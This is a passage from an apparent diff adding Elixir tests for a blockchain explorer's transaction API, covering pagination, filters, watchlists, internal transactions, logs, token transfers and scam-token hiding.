Explorer.Chain.Beacon.Deposit, as: BeaconDeposit + alias Explorer.{Repo, TestHelper} + + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + require Logger + + setup do + Supervisor.terminate_child(Explorer.Supervisor, Explorer.Chain.Cache.TransactionsApiV2.child_id()) + Supervisor.restart_child(Explorer.Supervisor, Explorer.Chain.Cache.TransactionsApiV2.child_id()) + + :ok + end + + describe "/transactions" do + test "empty list", %{conn: conn} do + request = get(conn, "/api/v2/transactions") + + assert response = json_response(request, 200) + assert response["items"] == [] + assert response["next_page_params"] == nil + end + + test "non empty list", %{conn: conn} do + 1 + |> insert_list(:transaction) + |> with_block() + + request = get(conn, "/api/v2/transactions") + + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + end + + test "transactions with next_page_params", %{conn: conn} do + transactions = + 51 + |> insert_list(:transaction) + |> with_block() + + request = get(conn, "/api/v2/transactions") + assert response = json_response(request, 200) + + request_2nd_page = get(conn, "/api/v2/transactions", response["next_page_params"]) + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, transactions) + end + + test "filter=pending", %{conn: conn} do + pending_transactions = + 51 + |> insert_list(:transaction) + + _mined_transactions = + 51 + |> insert_list(:transaction) + |> with_block() + + filter = %{"filter" => "pending"} + + request = get(conn, "/api/v2/transactions", filter) + assert response = json_response(request, 200) + + request_2nd_page = get(conn, "/api/v2/transactions", Map.merge(response["next_page_params"], filter)) + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, pending_transactions) + end + + test "filter=validated", %{conn: conn} do + _pending_transactions = + 51 + |> insert_list(:transaction) + + mined_transactions = + 51 + |> insert_list(:transaction) + |> with_block() + + filter = %{"filter" => "validated"} + + request = get(conn, "/api/v2/transactions", filter) + assert response = json_response(request, 200) + + request_2nd_page = get(conn, "/api/v2/transactions", Map.merge(response["next_page_params"], filter)) + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, mined_transactions) + end + end + + describe "/transactions/watchlist" do + test "unauthorized", %{conn: conn} do + request = get(conn, "/api/v2/transactions/watchlist") + + assert %{"message" => "Unauthorized"} = json_response(request, 401) + end + + test "empty list", %{conn: conn} do + 51 + |> insert_list(:transaction) + |> with_block() + + auth = build(:auth) + insert(:address) + {:ok, user} = Identity.find_or_create(auth) + + conn = Plug.Test.init_test_session(conn, current_user: user) + + request = get(conn, "/api/v2/transactions/watchlist") + assert response = json_response(request, 200) + + assert response["items"] == [] + assert response["next_page_params"] == nil + end + + test "watchlist transactions can paginate", %{conn: conn} do + auth = build(:auth) + {:ok, user} = Identity.find_or_create(auth) + + conn = Plug.Test.init_test_session(conn, current_user: user) + + address_1 = insert(:address) + + watchlist_address_1 = + Repo.account_repo().insert!(%WatchlistAddress{ + name: "wallet_1", + watchlist_id: user.watchlist_id, + address_hash: address_1.hash, + address_hash_hash: hash_to_lower_case_string(address_1.hash), + watch_coin_input: true, + watch_coin_output: true, + watch_erc_20_input: true, + watch_erc_20_output: true, + watch_erc_721_input: true, + watch_erc_721_output: true, + watch_erc_1155_input: true, + watch_erc_1155_output: true, + notify_email: true + }) + + address_2 = insert(:address) + + watchlist_address_2 = + Repo.account_repo().insert!(%WatchlistAddress{ + name: "wallet_2", + watchlist_id: user.watchlist_id, + address_hash: address_2.hash, + address_hash_hash: hash_to_lower_case_string(address_2.hash), + watch_coin_input: true, + watch_coin_output: true, + watch_erc_20_input: true, + watch_erc_20_output: true, + watch_erc_721_input: true, + watch_erc_721_output: true, + watch_erc_1155_input: true, + watch_erc_1155_output: true, + notify_email: true + }) + + 51 + |> insert_list(:transaction) + + 51 + |> insert_list(:transaction) + |> with_block() + + transactions_1 = + 25 + |> insert_list(:transaction, from_address: address_1) + |> with_block() + + transactions_2 = + 1 + |> insert_list(:transaction, from_address: address_2, to_address: address_1) + |> with_block() + + transactions_3 = + 25 + |> insert_list(:transaction, from_address: address_2) + |> with_block() + + request = get(conn, "/api/v2/transactions/watchlist") + assert response = json_response(request, 200) + + request_2nd_page = get(conn, "/api/v2/transactions/watchlist", response["next_page_params"]) + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, transactions_1 ++ transactions_2 ++ transactions_3, %{ + address_1.hash => watchlist_address_1.name, + address_2.hash => watchlist_address_2.name + }) + end + end + + describe "/transactions/{transaction_hash}" do + test "get token-transfers with ok reputation", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, true) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + token = insert(:token, type: "ERC-1155") + + transaction = + :transaction + |> insert() + |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_contract_address: token.contract_address, + token_ids: Enum.map(0..50, fn x -> x end), + token_type: "ERC-1155", + amounts: Enum.map(0..50, fn x -> x end) + ) + + request = conn |> put_req_cookie("show_scam_tokens", "true") |> get("/api/v2/transactions/#{transaction.hash}") + response = json_response(request, 200) + + assert List.first(response["token_transfers"])["token"]["reputation"] == "ok" + + assert response == conn |> get("/api/v2/transactions/#{transaction.hash}") |> json_response(200) + end + + test "get smart-contract with scam reputation", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, true) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + token = insert(:token, type: "ERC-1155") + + transaction = + :transaction + |> insert() + |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_contract_address: token.contract_address, + token_ids: Enum.map(0..50, fn x -> x end), + token_type: "ERC-1155", + amounts: Enum.map(0..50, fn x -> x end) + ) + + insert(:scam_badge_to_address, address_hash: token.contract_address_hash) + + request = conn |> put_req_cookie("show_scam_tokens", "true") |> get("/api/v2/transactions/#{transaction.hash}") + response = json_response(request, 200) + + assert List.first(response["token_transfers"])["token"]["reputation"] == "scam" + + request = conn |> get("/api/v2/transactions/#{transaction.hash}") + response = json_response(request, 200) + + assert response["token_transfers"] == [] + end + + test "get token-transfers with ok reputation with hide_scam_addresses=false", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, false) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + token = insert(:token, type: "ERC-1155") + + transaction = + :transaction + |> insert() + |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_contract_address: token.contract_address, + token_ids: Enum.map(0..50, fn x -> x end), + token_type: "ERC-1155", + amounts: Enum.map(0..50, fn x -> x end) + ) + + request = conn |> get("/api/v2/transactions/#{transaction.hash}") + response = json_response(request, 200) + + assert List.first(response["token_transfers"])["token"]["reputation"] == "ok" + end + + test "get token-transfers with scam reputation with hide_scam_addresses=false", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, false) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + token = insert(:token, type: "ERC-1155") + + transaction = + :transaction + |> insert() + |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_contract_address: token.contract_address, + token_ids: Enum.map(0..50, fn x -> x end), + token_type: "ERC-1155", + amounts: Enum.map(0..50, fn x -> x end) + ) + + insert(:scam_badge_to_address, address_hash: token.contract_address_hash) + + request = conn |> get("/api/v2/transactions/#{transaction.hash}") + response = json_response(request, 200) + + assert List.first(response["token_transfers"])["token"]["reputation"] == "ok" + end + + test "return 404 on non existing transaction", %{conn: conn} do + transaction = build(:transaction) + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}") + + assert %{"message" => "Not found"} = json_response(request, 404) + end + + test "return 422 on invalid transaction hash", %{conn: conn} do + request = get(conn, "/api/v2/transactions/0x") + + assert %{"message" => "Invalid parameter(s)"} = json_response(request, 422) + end + + test "return existing transaction", %{conn: conn} do + transaction = + :transaction + |> insert() + |> with_block() + + request = get(conn, "/api/v2/transactions/" <> to_string(transaction.hash)) + + assert response = json_response(request, 200) + compare_item(transaction, response) + end + + test "includes is_pending_update field in response", %{conn: conn} do + block_refetch_needed = insert(:block, refetch_needed: true) + block_no_refetch = insert(:block, refetch_needed: false) + + transaction_refetch_needed = + :transaction + |> insert() + |> with_block(block_refetch_needed) + + transaction_no_refetch = + :transaction + |> insert() + |> with_block(block_no_refetch) + + request_1 = get(conn, "/api/v2/transactions/" <> to_string(transaction_refetch_needed.hash)) + assert response_1 = json_response(request_1, 200) + assert response_1["is_pending_update"] == true + + request_2 = get(conn, "/api/v2/transactions/" <> to_string(transaction_no_refetch.hash)) + assert response_2 = json_response(request_2, 200) + assert response_2["is_pending_update"] == false + end + + test "includes is_pending_update field in transaction lists", %{conn: conn} do + block_refetch_needed = insert(:block, refetch_needed: true) + block_no_refetch = insert(:block, refetch_needed: false) + + transaction_refetch_needed = + :transaction + |> insert() + |> with_block(block_refetch_needed) + + transaction_no_refetch = + :transaction + |> insert() + |> with_block(block_no_refetch) + + request = get(conn, "/api/v2/transactions") + assert response = json_response(request, 200) + + # Find the transactions in the response + refetch_tx_response = + Enum.find(response["items"], fn item -> item["hash"] == to_string(transaction_refetch_needed.hash) end) + + no_refetch_tx_response = + Enum.find(response["items"], fn item -> item["hash"] == to_string(transaction_no_refetch.hash) end) + + assert refetch_tx_response["is_pending_update"] == true + assert no_refetch_tx_response["is_pending_update"] == false + end + + test "batch 1155 flattened", %{conn: conn} do + token = insert(:token, type: "ERC-1155") + + transaction = + :transaction + |> insert() + |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_contract_address: token.contract_address, + token_ids: Enum.map(0..50, fn x -> x end), + token_type: "ERC-1155", + amounts: Enum.map(0..50, fn x -> x end) + ) + + request = get(conn, "/api/v2/transactions/" <> to_string(transaction.hash)) + + assert response = json_response(request, 200) + compare_item(transaction, response) + + assert Enum.count(response["token_transfers"]) == 10 + end + + test "single 1155 flattened", %{conn: conn} do + token = insert(:token, type: "ERC-1155") + + transaction = + :transaction + |> insert() + |> with_block() + + tt = + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_contract_address: token.contract_address, + token_ids: [1], + token_type: "ERC-1155", + amounts: [2], + amount: nil + ) + + request = get(conn, "/api/v2/transactions/" <> to_string(transaction.hash)) + + assert response = json_response(request, 200) + compare_item(transaction, response) + + assert Enum.count(response["token_transfers"]) == 1 + assert is_map(Enum.at(response["token_transfers"], 0)["total"]) + assert compare_item(%TokenTransfer{tt | amount: 2}, Enum.at(response["token_transfers"], 0)) + end + + test "return transaction with input starting with 0x", %{conn: conn} do + contract = + insert(:smart_contract, + contract_code_md5: "123", + abi: [ + %{ + "constant" => false, + "inputs" => [%{"name" => "", "type" => "bytes"}], + "name" => "set", + "outputs" => [], + "payable" => false, + "stateMutability" => "nonpayable", + "type" => "function" + } + ] + ) + |> Repo.preload(:address) + + input_data = + "set(bytes)" + |> ABI.encode([ + <<48, 120, 253, 69, 39, 88, 49, 136, 89, 142, 21, 123, 116, 129, 248, 32, 77, 29, 224, 121, 49, 137, 216, 8, + 212, 195, 239, 11, 174, 75, 56, 126>> + ]) + |> Base.encode16(case: :lower) + + transaction = + :transaction + |> insert(to_address: contract.address, input: "0x" <> input_data) + |> Repo.preload(to_address: :smart_contract) + + request = get(conn, "/api/v2/transactions/" <> to_string(transaction.hash)) + + assert json_response(request, 200) + end + + if @chain_type == :suave do + test "renders peeker starting with 0x", %{conn: conn} do + bid_contract = insert(:address) + + old_env = Application.get_env(:explorer, Transaction, []) + + Application.put_env( + :explorer, + Transaction, + Keyword.merge(old_env, suave_bid_contracts: to_string(bid_contract.hash)) + ) + + on_exit(fn -> + Application.put_env(:explorer, Transaction, old_env) + end) + + transaction = + insert(:transaction, + to_address_hash: bid_contract.hash, + to_address: bid_contract, + execution_node_hash: bid_contract.hash + ) + + insert(:log, + transaction_hash: transaction.hash, + transaction: transaction, + address: bid_contract, + first_topic: "0x83481d5b04dea534715acad673a8177a46fc93882760f36bdc16ccac439d504e", + data: + "0x11111111111111111111111111111111000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000010000000000000000000000003078505152535455565758595a5b5c5d5e5f6061" + ) + + request = get(conn, "/api/v2/transactions/#{transaction.hash}") + + assert %{"allowed_peekers" => ["0x3078505152535455565758595a5b5C5D5E5f6061"]} = json_response(request, 200) + end + end + + if @chain_type == :optimism do + test "returns transaction with interop message", %{conn: conn} do + transaction = insert(:transaction) + + insert(:op_interop_message, + init_transaction_hash: transaction.hash, + payload: "0x30787849009c24f10a91a327a9f2ed94ebc49ee9" + ) + + request = get(conn, "/api/v2/transactions/#{transaction.hash}") + + assert %{"op_interop" => %{"payload" => "0x30787849009c24f10a91a327a9f2ed94ebc49ee9"}} = + json_response(request, 200) + end + end + end + + describe "/transactions/{transaction_hash}/internal-transactions" do + test "return 404 on non existing transaction", %{conn: conn} do + transaction = build(:transaction) + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/internal-transactions") + + assert %{"message" => "Not found"} = json_response(request, 404) + end + + test "return 422 on invalid transaction hash", %{conn: conn} do + request = get(conn, "/api/v2/transactions/0x/internal-transactions") + + assert %{"message" => "Invalid parameter(s)"} = json_response(request, 422) + end + + test "return empty list", %{conn: conn} do + transaction = + :transaction + |> insert() + |> with_block() + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/internal-transactions") + + assert response = json_response(request, 200) + assert response["items"] == [] + assert response["next_page_params"] == nil + end + + test "return relevant internal transaction", %{conn: conn} do + transaction = + :transaction + |> insert() + |> with_block() + + insert(:internal_transaction, + transaction: transaction, + index: 0, + block_number: transaction.block_number, + transaction_index: transaction.index, + block_hash: transaction.block_hash, + block_index: 0 + ) + + internal_transaction = + insert(:internal_transaction, + transaction: transaction, + index: 1, + block_number: transaction.block_number, + transaction_index: transaction.index, + block_hash: transaction.block_hash, + block_index: 1 + ) + + transaction_1 = + :transaction + |> insert() + |> with_block() + + 0..5 + |> Enum.map(fn index -> + insert(:internal_transaction, + transaction: transaction_1, + index: index, + block_number: transaction_1.block_number, + transaction_index: transaction_1.index, + block_hash: transaction_1.block_hash, + block_index: index + ) + end) + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/internal-transactions") + + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + compare_item(internal_transaction, Enum.at(response["items"], 0)) + end + + test "return list with next_page_params", %{conn: conn} do + transaction = + :transaction + |> insert() + |> with_block() + + insert(:internal_transaction, + transaction: transaction, + index: 0, + block_number: transaction.block_number, + transaction_index: transaction.index, + block_hash: transaction.block_hash, + block_index: 0 + ) + + internal_transactions = + 51..1 + |> Enum.map(fn index -> + insert(:internal_transaction, + transaction: transaction, + index: index, + block_number: transaction.block_number, + transaction_index: transaction.index, + block_hash: transaction.block_hash, + block_index: index + ) + end) + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/internal-transactions") + assert response = json_response(request, 200) + + request_2nd_page = + get( + conn, + "/api/v2/transactions/#{to_string(transaction.hash)}/internal-transactions", + response["next_page_params"] + ) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, internal_transactions) + end + end + + describe "/transactions/{transaction_hash}/logs" do + test "return 404 on non existing transaction", %{conn: conn} do + transaction = build(:transaction) + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/logs") + + assert %{"message" => "Not found"} = json_response(request, 404) + end + + test "return 422 on invalid transaction hash", %{conn: conn} do + request = get(conn, "/api/v2/transactions/0x/logs") + + assert %{"message" => "Invalid parameter(s)"} = json_response(request, 422) + end + + test "return empty list", %{conn: conn} do + transaction = + :transaction + |> insert() + |> with_block() + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/logs") + + assert response = json_response(request, 200) + assert response["items"] == [] + assert response["next_page_params"] == nil + end + + test "return relevant log", %{conn: conn} do + transaction = + :transaction + |> insert() + |> with_block() + + log = + insert(:log, + transaction: transaction, + index: 1, + block: transaction.block, + block_number: transaction.block_number + ) + + transaction_1 = + :transaction + |> insert() + |> with_block() + + 0..5 + |> Enum.map(fn index -> + insert(:log, + transaction: transaction_1, + index: index, + block: transaction_1.block, + block_number: transaction_1.block_number + ) + end) + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/logs") + + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + compare_item(log, Enum.at(response["items"], 0)) + end + + test "return list with next_page_params", %{conn: conn} do + transaction = + :transaction + |> insert() + |> with_block() + + logs = + 50..0 + |> Enum.map(fn index -> + insert(:log, + transaction: transaction, + index: index, + block: transaction.block, + block_number: transaction.block_number + ) + end) + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/logs") + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/logs", response["next_page_params"]) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, logs) + end + end + + describe "/transactions/{transaction_hash}/token-transfers" do + test "get token-transfers with ok reputation", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, true) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + token = insert(:token, type: "ERC-1155") + + transaction = + :transaction + |> insert() + |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_contract_address: token.contract_address, + token_ids: Enum.map(0..50, fn x -> x end), + token_type: "ERC-1155", + amounts: Enum.map(0..50, fn x -> x end) + ) + + request = + conn + |> put_req_cookie("show_scam_tokens", "true") + |> get("/api/v2/transactions/#{transaction.hash}/token-transfers") + + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "ok" + + assert response == conn |> get("/api/v2/transactions/#{transaction.hash}/token-transfers") |> json_response(200) + end + + test "get smart-contract with scam reputation", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, true) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + token = insert(:token, type: "ERC-1155") + + transaction = + :transaction + |> insert() + |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_contract_address: token.contract_address, + token_ids: Enum.map(0..50, fn x -> x end), + token_type: "ERC-1155", + amounts: Enum.map(0..50, fn x -> x end) + ) + + insert(:scam_badge_to_address, address_hash: token.contract_address_hash) + + request = + conn + |> put_req_cookie("show_scam_tokens", "true") + |> get("/api/v2/transactions/#{transaction.hash}/token-transfers") + + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "scam" + + request = conn |> get("/api/v2/transactions/#{transaction.hash}/token-transfers") + response = json_response(request, 200) + + assert response["items"] == [] + end + + test "get token-transfers with ok reputation with hide_scam_addresses=false", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, false) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + token = insert(:token, type: "ERC-1155") + + transaction = + :transaction + |> insert() + |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_contract_address: token.contract_address, + token_ids: Enum.map(0..50, fn x -> x end), + token_type: "ERC-1155", + amounts: Enum.map(0..50, fn x -> x end) + ) + + request = conn |> get("/api/v2/transactions/#{transaction.hash}/token-transfers") + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "ok" + end + + test "get token-transfers with scam reputation with hide_scam_addresses=false", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, false) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + token = insert(:token, type: "ERC-1155") + + transaction = + :transaction + |> insert() + |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_contract_address: token.contract_address, + token_ids: Enum.map(0..50, fn x -> x end), + token_type: "ERC-1155", + amounts: Enum.map(0..50, fn x -> x end) + ) + + insert(:scam_badge_to_address, address_hash: token.contract_address_hash) + + request = conn |> get("/api/v2/transactions/#{transaction.hash}/token-transfers") + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "ok" + end + + test "return 404 on non existing transaction", %{conn: conn} do + transaction = build(:transaction) + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/token-transfers") + + assert %{"message" => "Not found"} = json_response(request, 404) + end + + test "return 422 on invalid transaction hash", %{conn: conn} do + request = get(conn, "/api/v2/transactions/0x/token-transfers") + + assert %{"message" => "Invalid parameter(s)"} = json_response(request, 422) + end + + test "return empty list", %{conn: conn} do + transaction = + :transaction + |> insert() + |> with_block() + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/token-transfers") + + assert response = json_response(request, 200) + assert response["items"] == [] + assert response["next_page_params"] == nil + end + + test "return relevant token transfer", %{conn: conn} do + transaction = + :transaction + |> insert() + |> with_block() + + token_transfer = + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number + ) + + transaction_1 = + :transaction + |> insert() + |> with_block() + + insert_list(6, :token_transfer, + transaction: transaction_1, + block: transaction_1.block, + block_number: transaction_1.block_number + ) + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/token-transfers") + + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + compare_item(token_transfer, Enum.at(response["items"], 0)) + end + + test "return list with next_page_params", %{conn: conn} do + transaction = + :transaction + |> insert() + |> with_block() + + token_transfers = + insert_list(51, :token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number + ) + |> Enum.reverse() + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/token-transfers") + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/token-transfers", response["next_page_params"]) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, token_transfers) + end + + test "check filters", %{conn: conn} do + transaction = + :transaction + |> insert() + |> with_block() + + erc_1155_token = insert(:token, type: "ERC-1155") + + erc_1155_tt = + for x <- 0..50 do + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_contract_address: erc_1155_token.contract_address, + token_ids: [x], + token_type: "ERC-1155" + ) + end + |> Enum.reverse() + + erc_721_token = insert(:token, type: "ERC-721") + + erc_721_tt = + for x <- 0..50 do + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_contract_address: erc_721_token.contract_address, + token_ids: [x], + token_type: "ERC-721" + ) + end + |> Enum.reverse() + + erc_20_token = insert(:token, type: "ERC-20") + + erc_20_tt = + for _ <- 0..50 do + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_contract_address: erc_20_token.contract_address, + token_type: "ERC-20" + ) + end + |> Enum.reverse() + + # -- ERC-20 -- + filter = %{"type" => "ERC-20"} + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/token-transfers", filter) + assert response = json_response(request, 200) + + request_2nd_page = + get( + conn, + "/api/v2/transactions/#{to_string(transaction.hash)}/token-transfers", + Map.merge(response["next_page_params"], filter) + ) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, erc_20_tt) + # -- ------ -- + + # -- ERC-721 -- + filter = %{"type" => "ERC-721"} + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/token-transfers", filter) + assert response = json_response(request, 200) + + request_2nd_page = + get( + conn, + "/api/v2/transactions/#{to_string(transaction.hash)}/token-transfers", + Map.merge(response["next_page_params"], filter) + ) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, erc_721_tt) + # -- ------ -- + + # -- ERC-1155 -- + filter = %{"type" => "ERC-1155"} + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/token-transfers", filter) + assert response = json_response(request, 200) + + request_2nd_page = + get( + conn, + "/api/v2/transactions/#{to_string(transaction.hash)}/token-transfers", + Map.merge(response["next_page_params"], filter) + ) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, erc_1155_tt) + # -- ------ -- + + # two filters simultaneously + filter = %{"type" => "ERC-1155,ERC-20"} + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/token-transfers", filter) + assert response = json_response(request, 200) + + request_2nd_page = + get( + conn, + "/api/v2/transactions/#{to_string(transaction.hash)}/token-transfers", + Map.merge(response["next_page_params"], filter) + ) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + assert Enum.count(response["items"]) == 50 + assert response["next_page_params"] != nil + compare_item(Enum.at(erc_1155_tt, 50), Enum.at(response["items"], 0)) + compare_item(Enum.at(erc_1155_tt, 1), Enum.at(response["items"], 49)) + + assert Enum.count(response_2nd_page["items"]) == 50 + assert response_2nd_page["next_page_params"] != nil + compare_item(Enum.at(erc_1155_tt, 0), Enum.at(response_2nd_page["items"], 0)) + compare_item(Enum.at(erc_20_tt, 50), Enum.at(response_2nd_page["items"], 1)) + compare_item(Enum.at(erc_20_tt, 2), Enum.at(response_2nd_page["items"], 49)) + + request_3rd_page = + get( + conn, + "/api/v2/transactions/#{to_string(transaction.hash)}/token-transfers", + Map.merge(response_2nd_page["next_page_params"], filter) + ) + + assert response_3rd_page = json_response(request_3rd_page, 200) + assert Enum.count(response_3rd_page["items"]) == 2 + assert response_3rd_page["next_page_params"] == nil + compare_item(Enum.at(erc_20_tt, 1), Enum.at(response_3rd_page["items"], 0)) + compare_item(Enum.at(erc_20_tt, 0), Enum.at(response_3rd_page["items"], 1)) + end + + test "check that same token_ids within batch squashes", %{conn: conn} do + token = insert(:token, type: "ERC-1155") + + id = 0 + + insert(:token_instance, token_id: id, token_contract_address_hash: token.contract_address_hash) + + transaction = + :transaction + |> insert() + |> with_block() + + tt = + for _ <- 0..50 do + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_contract_address: token.contract_address, + token_ids: Enum.map(0..50, fn _x -> id end), + token_type: "ERC-1155", + amounts: Enum.map(0..50, fn x -> x end) + ) + end + + token_transfers = + for i <- tt do + %TokenTransfer{i | token_ids: [id], amount: Decimal.new(1275)} + end + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/token-transfers") + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/token-transfers", response["next_page_params"]) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, Enum.reverse(token_transfers)) + end + + test "check that pagination works for 721 tokens", %{conn: conn} do + token = insert(:token, type: "ERC-721") + + transaction = + :transaction + |> insert() + |> with_block() + + token_transfers = + for i <- 0..50 do + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_contract_address: token.contract_address, + token_ids: [i], + token_type: "ERC-721" + ) + end + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/token-transfers") + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/token-transfers", response["next_page_params"]) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, Enum.reverse(token_transfers)) + end + + test "check that pagination works fine with 1155 batches #1 (large batch)", %{conn: conn} do + token = insert(:token, type: "ERC-1155") + + transaction = + :transaction + |> insert() + |> with_block() + + tt = + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_contract_address: token.contract_address, + token_ids: Enum.map(0..50, fn x -> x end), + token_type: "ERC-1155", + amounts: Enum.map(0..50, fn x -> x end) + ) + + token_transfers = + for i <- 0..50 do + %TokenTransfer{tt | token_ids: [i], amount: i} + end + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/token-transfers") + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/token-transfers", response["next_page_params"]) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, token_transfers) + end + + test "check that pagination works fine with 1155 batches #2 some batches on the first page and one on the second", + %{conn: conn} do + token = insert(:token, type: "ERC-1155") + + transaction = + :transaction + |> insert() + |> with_block() + + tt_1 = + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_contract_address: token.contract_address, + token_ids: Enum.map(0..24, fn x -> x end), + token_type: "ERC-1155", + amounts: Enum.map(0..24, fn x -> x end) + ) + + token_transfers_1 = + for i <- 0..24 do + %TokenTransfer{tt_1 | token_ids: [i], amount: i} + end + + tt_2 = + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_contract_address: token.contract_address, + token_ids: Enum.map(25..49, fn x -> x end), + token_type: "ERC-1155", + amounts: 